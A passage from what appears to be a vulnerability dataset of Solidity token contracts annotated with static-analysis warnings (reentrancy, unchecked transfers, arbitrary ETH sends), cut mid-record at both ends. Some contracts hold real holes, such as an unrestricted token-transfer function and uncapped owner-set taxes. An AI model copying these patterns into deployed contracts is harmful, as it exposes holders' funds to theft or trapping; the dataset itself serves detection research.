{\n\t\t\t\t\t// reentrancy-events | ID: 084a8c8\n\t\t\t\t\t// reentrancy-eth | ID: 4fd371d\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4fd371d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 084a8c8\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4fd371d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4fd371d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 084a8c8\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8d54ca5\n\t\t// reentrancy-events | ID: 084a8c8\n\t\t// reentrancy-benign | ID: 146eb21\n\t\t// reentrancy-eth | ID: 4fd371d\n\t\t// reentrancy-eth | ID: 3d2c17d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8dfdde1): Missing events for critical arithmetic parameters.\n\t// Recommendation for 8dfdde1: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: 8dfdde1\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: 8dfdde1\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: 8dfdde1\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: 8dfdde1\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: 8dfdde1\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3c2a488): BEEPLE.rescueStuckTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 3c2a488: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 3c2a488\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8d54ca5\n\t\t// reentrancy-events | ID: 084a8c8\n\t\t// reentrancy-eth | ID: 4fd371d\n\t\t// reentrancy-eth | ID: 3d2c17d\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1165ed5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1165ed5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c39ae7d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c39ae7d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1c95b15): BEEPLE.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1c95b15: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b4429db): BEEPLE.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b4429db: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e24e38d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e24e38d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 1165ed5\n\t\t// reentrancy-benign | ID: c39ae7d\n\t\t// reentrancy-eth | ID: e24e38d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 1165ed5\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 1165ed5\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: c39ae7d\n\t\t// unused-return | ID: 1c95b15\n\t\t// reentrancy-eth | ID: e24e38d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c39ae7d\n\t\t// unused-return | ID: b4429db\n\t\t// reentrancy-eth | ID: e24e38d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c39ae7d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e24e38d\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: c39ae7d\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10239.sol",
"size_bytes": 22098,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n}\n\ncontract TokenWallet {\n\t// WARNING Optimization Issue (immutable-states | ID: 6a49c7c): TokenWallet.owner should be immutable \n\t// Recommendation for 6a49c7c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n mapping(address => bool) public approvedUsers;\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Not contract owner\");\n\n _;\n }\n\n function approveUser(address user) external onlyOwner {\n approvedUsers[user] = true;\n }\n\n function revokeUser(address user) external onlyOwner {\n approvedUsers[user] = false;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 044d873): TokenWallet.transferTokens(address,address,uint256) ignores return value by IERC20(token).transfer(to,amount)\n\t// Recommendation for 044d873: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function transferTokens(\n address token,\n address to,\n uint256 amount\n ) external {\n\t\t// unchecked-transfer | ID: 044d873\n IERC20(token).transfer(to, amount);\n }\n}\n",
"file_name": "solidity_code_1024.sol",
"size_bytes": 1372,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5d7ddda): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 5d7ddda: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 5d7ddda\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8791847): PVE.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 8791847: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 900a814): PVE.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 900a814: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4c8ae91): PVE.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 2 * (_tTotal / 1000)\n// Recommendation for 4c8ae91: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3d46d0e): PVE.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 2 * (_tTotal / 100)\n// Recommendation for 3d46d0e: Consider ordering multiplication before division.\ncontract PVE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 84438d0): PVE.bots is never initialized. It is used in PVE._transfer(address,address,uint256)\n\t// Recommendation for 84438d0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: aead105): PVE._taxWallet should be immutable \n\t// Recommendation for aead105: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3827260): PVE._initialBuyTax should be constant \n\t// Recommendation for 3827260: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8823ae7): PVE._initialSellTax should be constant \n\t// Recommendation for 8823ae7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4afbd82): PVE._finalBuyTax should be constant \n\t// Recommendation for 4afbd82: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d8ff90): PVE._finalSellTax should be constant \n\t// Recommendation for 2d8ff90: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a152ba): PVE._reduceBuyTaxAt should be constant \n\t// Recommendation for 7a152ba: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3865043): PVE._reduceSellTaxAt should be constant \n\t// Recommendation for 3865043: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ac1991): PVE._preventSwapBefore should be constant \n\t// Recommendation for 3ac1991: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420_690_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n\t// divide-before-multiply | ID: 900a814\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 8791847\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: a8650c9): PVE._taxSwapThreshold should be constant \n\t// Recommendation for a8650c9: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 4c8ae91\n uint256 public _taxSwapThreshold = 2 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: a308f8d): PVE._maxTaxSwap should be constant \n\t// Recommendation for a308f8d: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 3d46d0e\n uint256 public _maxTaxSwap = 2 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 394b899): PVE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 394b899: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8b28893): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8b28893: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 422acf8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 422acf8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8b28893\n\t\t// reentrancy-benign | ID: 422acf8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8b28893\n\t\t// reentrancy-benign | ID: 422acf8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: be61ee2): PVE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for be61ee2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 422acf8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8b28893\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a58a3df): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a58a3df: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 84438d0): PVE.bots is never initialized. It is used in PVE._transfer(address,address,uint256)\n\t// Recommendation for 84438d0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 649f597): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 649f597: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 8, \"Only 8 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a58a3df\n\t\t\t\t// reentrancy-eth | ID: 649f597\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a58a3df\n\t\t\t\t\t// reentrancy-eth | ID: 649f597\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 649f597\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 649f597\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 649f597\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a58a3df\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 649f597\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 649f597\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a58a3df\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a58a3df\n\t\t// reentrancy-events | ID: 8b28893\n\t\t// reentrancy-benign | ID: 422acf8\n\t\t// reentrancy-eth | ID: 649f597\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4a4cc3d): PVE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4a4cc3d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a58a3df\n\t\t// reentrancy-events | ID: 8b28893\n\t\t// reentrancy-eth | ID: 649f597\n\t\t// arbitrary-send-eth | ID: 4a4cc3d\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fb34039): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fb34039: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e89df56): PVE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e89df56: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6838ba4): PVE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6838ba4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7a45b45): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7a45b45: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: fb34039\n\t\t// reentrancy-eth | ID: 7a45b45\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: fb34039\n\t\t// unused-return | ID: 6838ba4\n\t\t// reentrancy-eth | ID: 7a45b45\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: fb34039\n\t\t// unused-return | ID: e89df56\n\t\t// reentrancy-eth | ID: 7a45b45\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: fb34039\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7a45b45\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10240.sol",
"size_bytes": 22295,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract RURI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _excludedFromLimits;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13d496e): RURI._initialBuyTax should be constant \n\t// Recommendation for 13d496e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 